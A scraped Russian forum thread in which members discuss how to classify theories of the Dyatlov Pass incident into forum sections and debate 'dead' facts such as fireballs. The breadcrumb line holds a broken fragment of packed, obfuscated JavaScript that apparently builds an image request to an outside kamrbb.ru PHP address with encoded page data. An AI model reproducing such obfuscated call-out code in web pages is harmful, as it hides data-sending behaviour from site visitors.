Форум » \\\';u.w=x;\',34,34,\'||z|for|length|String|fromCharCode|charAt|charCodeAt|ohbj|window|1300|document|querySelector|form|table|td|align||right|innerHTML||img|src||http|kamrbb|ru|php|encodeURIComponent|this||onload|null\'.split(\'|\'),0,{}))"> » Классификация версий » Ответить
Классификация версий
Константин67: Предлагаю другую классификацию версий. Природно-стихийные: лавина, буран, метеорит и т.п. Техногенные: ракета, вакуумное оружие, etc. Криминальные: разборка в группе, манси, "зачистки"... Аномальные: "огненные шары", снежные люди... Фантастические: карлики Арктиды, Сорни-най и т.п. Прочие: отравление мухоморами, и все, что не подходит в другие группы.
Ответов - 41, стр:
1 2 3 All
vysota1096: Они примерно так и подобраны, только объединены в три раздела, так как на бесплатном форуме число разделов ограничено.
Stepa: На мой взгляд, в нашем случае, любая версия условна. А как условность она не несет в себе определенной обязательности. Мне кажется нужно говорить не о структурировании условностей, а прежде всего о структурировании имеющихся фактов, тщательном их исследовании, на основе которых сначала высказываются предположения, а затем, если нет очевидных противоречий, выстраиваются версии. В этом смысле структурирование по версиям в данный момент является "мертворожденным" существом вопроса. А структурирование по фактам - необходимая реанимационная составляющая для любых версий. Поэтому классификация по версиям преждевременна и крайне не эффективна, поскольку нужно занять заранее определенные позиции, сопряженные с неудобствами
vysota1096: Stepa пишет: Мне кажется нужно говорить не о структурировании условностей, а прежде всего о структурировании имеющихся фактов, тщательном их исследовании, на основе которых сначала высказываются предположения, а затем, если нет очевидных противоречий, выстраивать версии. Это, конечно, так. Но у некоторых уже есть свои версии, значит, желательно иметь возможность обсуждения.
Stepa: vysota1096 пишет: Stepa пишет: цитата: Мне кажется нужно говорить не о структурировании условностей, а прежде всего о структурировании имеющихся фактов, тщательном их исследовании, на основе которых сначала высказываются предположения, а затем, если нет очевидных противоречий, выстраивать версии. Это, конечно, так. Но у некоторых уже есть свои версии, значит, желательно иметь возможность обсуждения. Конечно, и я не могу отказать себе в удовольствии принять участие в подобном обсуждении. Просто я говорю о своей методологии и понимании, которые держу в голове и не всегда это показываю - однако происходит энерго-информационный обмен и важно видеть, как каждый из нас подкрадывается к решению. Я у себя в огороде увидел на примере шланга, что произошло с моей тещей, когда рассоединилась стыковка шланга - под давлением воды неуправляемый конец шланга вышел из под контроля и стал лупить её по голове. Я её люблю больше, чем она меня, поэтому наступил на него, временно освободив её от неприятностей. Но мои действия все равно вызвали упреки, которые я терпеливо выслушал Она то ругала меня, что я допустил это. Успокоив я госпитализировал её на диван и налил чаю с конфеткой. Четыре куста помидор "Бычье сердце" погибли от переломов.
elder_pramery: Я пока не знаю. Но притяжение испытываю к последовательности: техноген, шары, зачистка, бермуды. Слишком много неувязок. Версию лавины оставлю напоследок, когда доказательно уберуться нелицеприятные сведения, которые просто так не могу отбросить.
vysota1096: Stepa пишет: Просто я говорю о своей методологии и понимании, которые держу в голове и не всегда это показываю - однако происходит энерго-информационный обмен и важно видеть, как каждый из нас подкрадывается к решению. Важно. Но нередко это становится ясным и по ходу обсуждения версии. *** А "Бычье сердце" жалко. Знатные томаты!
vysota1096: elder_pramery пишет: Но притяжение испытываю к последовательности: техноген, шары, зачистка, бермуды. Слишком много неувязок. Это что называется - каждый себе хозяин.
uralus: привет
uralus: привет
elder_pramery: А как же!
W: vysota1096 пишет: Они примерно так и подобраны, только объединены в три раздела, так как на бесплатном форуме число разделов ограничено. По поводу.. Думаю, сейчас классификация не главное, И непонятно, зачем улучшать то, что не пробовали как будет работать? Оставляем как есть, а вот когда появятся веские причины что то менять, тогда и надо будет это делать.... Да и технические возможности тоже надо учитывать...
elder_pramery: сегодня встречаюсь с Якимовым. (это тот, кто писал про шары в карьере). Вопросы есть?
vysota1096: Сегодня - 23 в смысле?
elder_pramery: да. счас спать пойду.
vysota1096: Хорошо, спасибо! Спокойной ночи!
Stepa: vysota1096 А нельзя ли добавить "Одежду" куда-нибудь, а также отразить зональный принцип отдельно (Зоны) - я вижу, что зоны никто не хочет выделять, а они, между тем, дают нам очень четкую картину взаимодействия, проникновения, детализируют действия, перемещение. В любом уголовном деле важно к чему-нибудь привязаться - это как в пазле. Впрочем, если не хотите выделять отдельно, то может подскажете, где начать дискуссию об этом. В каждой зоне я предлагаю сначала разместить соответствующие фотографии, а Alt и Tuapse могли бы привязать визуально Палатку к высоте 1096 и т.д. Хотелось бы иметь рядом раскоп под палатку, осмотр палатки, фото Романтика, возможно другое фото, если elder даст разрешение, фото CHU и т.д.
vysota1096: Stepa пишет: также отразить зональный принцип отдельно (Зоны) - я вижу, что зоны никто не хочет выделять, а они, между тем, дают нам очень четкую картину взаимодействия, проникновения, детализируют действия, перемещение. Не поняла - а четыре зоны (палатка, склон, кедр, овраг) для этого дела недостаточны? нельзя ли добавить "Одежду" куда-нибудь В смысле, одежду как отдельный раздел? Мне казалось, это удобней сделать под разделом "Люди" как тему по каждому участнику отдельно.
vysota1096: elder_pramery пишет: сегодня встречаюсь с Якимовым. (это тот, кто писал про шары в карьере). Вопросы есть? Про вопросы, наверное, сейчас уже поздно. Нашла и выложила его статью в "Урале", пока в экзотические версии. Интересны вообще-то обстоятельства, в которых появлялись эти шары. Это наверняка какое-то атмосферное явление, но какое?
Stepa: vysota1096 пишет: Stepa пишет: цитата: также отразить зональный принцип отдельно (Зоны) - я вижу, что зоны никто не хочет выделять, а они, между тем, дают нам очень четкую картину взаимодействия, проникновения, детализируют действия, перемещение. Не поняла - а четыре зоны (палатка, склон, кедр, овраг) для этого дела недостаточны? vysota1096 Например, в зоне "Палатки" находится сама палатка и ещё гора - высота 1096 и другие ориентиры, очень важные для привязки самой палатки к вершинам, к естественному углу, к рельефу местности и т.д. В зоне "Склона" имеются свои ориентиры и т.д. Понятие "Зона" шире, чем просто палатка, склон, овраг... Каждая зона должна быть четко очерчена и привязана к другой соседней зоне. Тогда легче позиционировать по зонам тела. Впрочем я не настаиваю на этом сейчас, просто рано или поздно мы придем к этому и придется совмещать разные темы...
vysota1096: Stepa в зоне "Палатки" находится сама палатка и ещё гора - высота 1096 и другие ориентиры, очень важные для привязки самой палатки к вершинам, к естественному углу, к рельефу местности и т.д. Но ведь в подфорумах по зонам можно открывать разные темы - по горе и пр. Понятно, что зоны частично перекрываются. Но для начала ведь можно работать с этим, а потом уже, по мере необходимости совмещать/разделять темы и т. д. Но если будет надо...
Stepa: Да нет не надо... Я не настаиваю ни на чём. Что вы... Пусть будет так, как есть. По зонам работают при неочевидных убийствах. По принципу зон находят маньяков. Здесь же у нас нет маньяков и серийных убийц. Забудьте!
vysota1096: Stepa По принципу зон находят маньяков. Давайте вы расскажете подробней.
Stepa: Единственное, что я вам могу сказать - это то, что все маньяки одинаковы и оставляют одни и те же следы... Не, не надо, и так всё нормально, без зон. Я преувеличил. Не обращайте внимание.
vysota1096: Stepa пишет: все маньяки одинаковы и оставляют одни и те же следы.. Я вообще-то имела в виду более подробный рассказ о зонах, а не о маньяках. Хорошо, если пока можно работать с этими четырьмя ареалами (не буду их называть зонами, если это не зоны), давайте с ними. Наверное, надо привязать первые снимки, уже выложенные. Еще есть такая проблема - если выкладывать снимки обнаружения, то эти подфорумы тоже надо будет закрыть. Или не будем их выкладывать?
Stepa: Условно "Палатку" можно было бы назвать Зоной 1 - это, собственно, палатка (все фото), все господствующие высоты, рельеф местности,перепад высот, все подходы к палатке, роза ветров, температура, снег и т.д. Зона 2 - начинается там, где начинается "Склон", а где он начинается ? Каменные гряды, следы, тела. Зона 3 и т.д. Все Зоны нужно разделить по метражу, по перепаду высот. Легче всего идентифицировать Зоны, а затем идентифицировать их составляющие. Картинка проявится в деталях и в связи с зонами влияния. Я ещё подумаю и завтра вечером напишу.
Stepa: Stepa пишет: составляющие . Это конечно и есть цель, но в привязке к зонам, а зоны к высотам и местности и рельефу. Фактически это будет схема, которая учитывает имеющиеся особенности и обнаруженные особенности - последние особенности и есть интеллектуальная важнейшая часть работы.
vysota1096: Так лучше?
Stepa: Давайте попробуем. Может быть всех устроит зональный принцип.
Буянов: «Мертвые» факты аварии и направленность обсуждений. «Мертвыми» фактами и «мертвыми» предположениями я считаю те, которые имеют нулевое подтверждение при отрицательной информативности. По этой причине они даже не заслуживают обсуждения. По крайней мере, до того момента, пока их не удастся чем-то подтвердить (пока подтверждение не станет выше нулевого). Надо понять, что «положительной энергией» обладает только достоверная информация. Недостоверная информация уводит в сторону заблуждений. «Нулевое» подтверждение, - это отсутствие подтверждающих достоверных фактов при наличии отрицающих достоверных фактов (здесь можно говорить и об «отрицательном» подтверждении). «Отрицательная информативность» состоит в том, что информация или «ложная» или «сорная», - т.е. лишняя. Ненужная. Пояснение, - в следующем сообщении.
Буянов: Цитата из «Повести о связке» В.А.Куницина (см. книгу «Лучше гор могут быть только люди», РЕНОМЕ, 2008): «Пиуна»(редактор сайта «Гора» в 24 веке): «… Я уже сообщала, что это самый протяженный во времени форум. Следующий за ним насчитывает всего сто двенадцать лет. Был бы ты гуманитарий, я бы сказала, что форум бесценен. Но тебе, физику, скажу, что на сегодняшний день стоимость его превосходит стоимость всех полезных ископаемых Марса. Так, по-моему, у красавицы собрано неплохое досье. -Все равно не понял. - Если форум потеряет критическую массу пользователей, то он погибнет, то есть на темпоральной функции образуется точка разрыва и Форум становится непригодным к использованию в качестве линии связи. - Ну, как в связке – чем дальше, тем интереснее. Но если Форум так важен, то посадите два-три миллиона пользователей, и пусть молотят сообщения по десять штук на дню. - Ты не виноват, что не понял. В ваше время уже знали, что бит информации обладает энергией., н умели отличить ЖИВУЮ ИНФОРМАЦИЮ ОТ МЕРТВОЙ! А это важно. Это как цветок. Можно сделать искусственный красивее натурального, но он мертвый. А пригоден только тот, который сам вырос. - Ну, в наше время лучше всего растут сорняки. - -Да, но «сорняки» тоже непригодны потому, что вектор информативности… Далее последовал набор слов, из которых я понял только два – «длинный» и «когерентность». - Я, хоть и физик, но НЕ двадцать четвертого века. Будем считать, что все понял. Вам нужен живой, динамично развивающийся, вечный, как горы, Форум, куда народ приходит по велению души. Так? - -Все правильно…» С юмором, с подтекстом 24-века… Все правильно! (Кстати, «непосвященным»: «Пиуна Аннапуровна» - с сайта 24 века «Гора»… А Анна Пиунова сейчас главный редактор сайта www.mountain.ru… Согласен, ну какие тут «аналогии»?..). Конечно, этот диалог во многом шутка (от «длинного» и «когерентности» я чуть со скамейки не упал). Но с глубоким подтекстом и насчет качества информации, и насчет свойств форумов, и насчет того, как на них можно зарабатывать деньги...
Буянов: Так вот, очевидно, что «мертвая информация, - это та, которая лжет, дезориентирует, уводит в сторону. Это то, что надо отбросить. Ее «вектор информативности» направлен совсем не туда, куда надо двигаться. Он ведет или в пустое поле поиска, или (как «сорняки») крутится во все стороны, заслоняя собой полезную информацию. И очевидно, что МЕРТВЫ все форумы, где мертвая информация преобладает! Хотя на них и можно собирать совсем не «мертвые» деньги… Мертвые предположения насчет «дела» аварии Дятлова: «В «ДЕЛЕ» ЕСТЬ ОТВЕТ НА ПРИЧИНЫ АВАРИИ, И ЕГО МОЖНО НАЙТИ, ЕСЛИ ПРИВЛЕЧЬ НЕДОСТАЮЩИЕ НАМ ДОКУМЕНТЫ». Но все люди, получавшие доступ к «делу», начиная с Иванова, включая Гущина, Матвееву, Юдина и других, никаких конкретных ответов, кроме тех, которые нам известны, найти и дать не смогли. Тезис неверен, - он ложен. Его не стоит обсуждать. А содержание «секретного пакета» известно (там ничего нет, кроме актов радиологической экспертизы). Копии дела у нас есть, и в них есть все основные документы. «ДЕЛО ФАЛЬСИФИЦИРОВАНО». Но проверка юристами и исследователями имеющихся материалов «дела» и сопоставление их с воспоминаниями очевидцев поиска показала, что никаких достоверных фактов в пользу «фальсификации» дела нет. Все факты в пользу «фальсификации» оказываются недостоверными и допускают совсем иное толкование (например, факт наблюдения летчиками погибших у палатки, или какие-то мелкие недоработки и ошибки следствия).
Буянов: Мертвые факты аварии Дятлова: «ОГНЕННЫЕ ШАРЫ НАБЛЮДАЛИСЬ В НОЧЬ АВАРИИ», - этот факт мертвый. В его пользу нет ни одного достоверного свидетельства. Свидетельство отца Кривонищенко – не в счет, он сам не наблюдал явление, он не свидетель. Он только слышал от кого-то неверный слух. Свидетельство Шумко (рук. группы пединститута), - не в счет, он явно ошибся в дате (спустя 35 лет), да и он указывает на ночь со 2 на 3-е февраля, т.е. на сутки после аварии. Да и не могла «сигнальная ракета» (по Владимирову из той же группы) быть причиной аварии. «ПРЕДПОЛОЖЕНИЕ ОБ АДА» (об аэростатах) – является пока мертвым. Нет никаких признаков падения аэростата (шара-зонда) в зоне аварии. ПРЕДПОЛОЖЕНИЕ ОБ «ИНФРАЗВУКЕ» является мертвым. Нет никаких признаков воздействия или присутствия какого-то источника инфразвука в зоне аварии. «ОТСУТСТВУЮЩИЕ ВЕРСИИ» являются мертвыми, пока для их подтверждения ничего нет. Это когда говорят: у нас нет «версий», мы собираем факты. Сама по себе такая позиция понятна, - она характерна для начала расследования. Но я же вижу, что за этим стоит совсем «не то». Не объективный сбор фактов. Ведь по характеру сообщений видно, кто в пользу каких предположений собирает факты. Видно, кто какие предположения и факты пытается отстоять. Надо видеть, когда за утверждением: «У меня нет версии…» фактически стоит утверждение: «Я пока не могу ничего «свое» доказать, но я и ни с чем «вашим» не согласен…». Я вижу методическую неправильность такой позиции именно в отрицании тех фактов, которые «невыгодны» или «неудобны» для защиты «своей позиции». И вижу не совсем честную игру, когда собственную отстаиваемую позицию скрывают за «отсутствием состава доказательств», а достоверные факты пытаются разрушить с использованием «любых» приемов. Когда, например, пытаются доказать и прямо говорят, что «дело сфальсифицировано», но при этом говорят, что это никакая не «версия», хотя это «версия» по «их» понятиям, и ясно, куда она ведет… Это при условии, что «версиями» произвольно называют любые предположения. Я, впрочем, под «версиями» подразумевал всегда только обоснованные объяснения событий на основе проверенных фактов. По моим меркам уже давно только одна версия осталась. Природная, лавинно-холодная. Иных уж нет, они далече… Попытки реанимации не помогут. Форум засорен мертвой информацией. В частности, мертвыми отрицаниями объективных фактов. Отрицаниями, которые ничем не подтверждены. В результате объективная информация тонет в горе мусора.
vysota1096: helga-O-V пишет: ИМХО в этот раздел можно отнести всё, что относится к разным способам структурирования версий и информации по теме, например выделение ОБС, констант и т д. Несомненно. Но этот топик - о разделах на форуме, не о способах классификации как таковых. Кстати, из предложенного Константином (RIP) сейчас можно реализовать разделение техногена-криминала на два разных раздела - пара "запасных" разделов еще осталась после бордовского расширения. А то там 71 тема - нехорошо, народ на последние страницы и не заходит вовсе. Как бы их еще четко разделить, где техноген, где криминал.
helga-O-V: vysota1096 пишет: сейчас можно реализовать разделение техногена-криминала на два разных раздела vysota1096 пишет: Как бы их еще четко разделить, где техноген, где криминал. что сложного-то? Разнообразные убийцы - манси, чёрные старатели, вертолётчики, агенты ФБР, браконьеры, беглые ЗК, пьяные военно-начальники и геологи воздушные хулиганы - это криминал. Разборки в группе, включая "военный синдром" у фронтовика и денюха со спиртным - тоже криминал. А всё, что первопричиной имело военные испытания, военную или иную техническую катастрофу - это техноген. Вне зависимости от того, как потом эту катастрофу ликвидировали
vysota1096: helga-O-V пишет: что сложного-то? Сесть и прочесть хотя бы первые страницы топиков.
vysota1096: Дискуссия о возможности классификации не по версиям, а по схемам уехала в раздел Методология: http://pereval1959.forum24.ru/?1-28-0-00000119-000-0-0
helga-O-V: vysota1096 пишет: Сесть и прочесть хотя бы первые страницы топиков. там, как правило - вполне красноречивые заголовки.
helga-O-V: В связи с появлением новых разделов периодически появляются какие-то предложения о переносе отдельных тем в новые разделы. Можно ли эти предложения высказывать? Где бы это было удобно делать? Например, предлагаю: - раздел "экспедиции" расширить и превратить в раздел "мероприятия (экспедиции, годовщины и встречи)". - в раздел "поисковики" включить "поисковиков-лётчиков", "свидетельство очевидца жившего в палатке Дятлова" (это из криминально-техногенных) и убрать оттуда "Золотарёва".
vysota1096: helga-O-V пишет: Где бы это было удобно делать? Да хоть здесь. helga-O-V пишет: и убрать оттуда "Золотарёва" Сейчас уберу, спасибо огромное. Остальное вечером.
helga-O-V: как Кизилов попал в аномально-экзотические версии?
vysota1096: helga-O-V пишет: как Кизилов попал в аномально-экзотические версии? Фиолетта.
полная версия страницы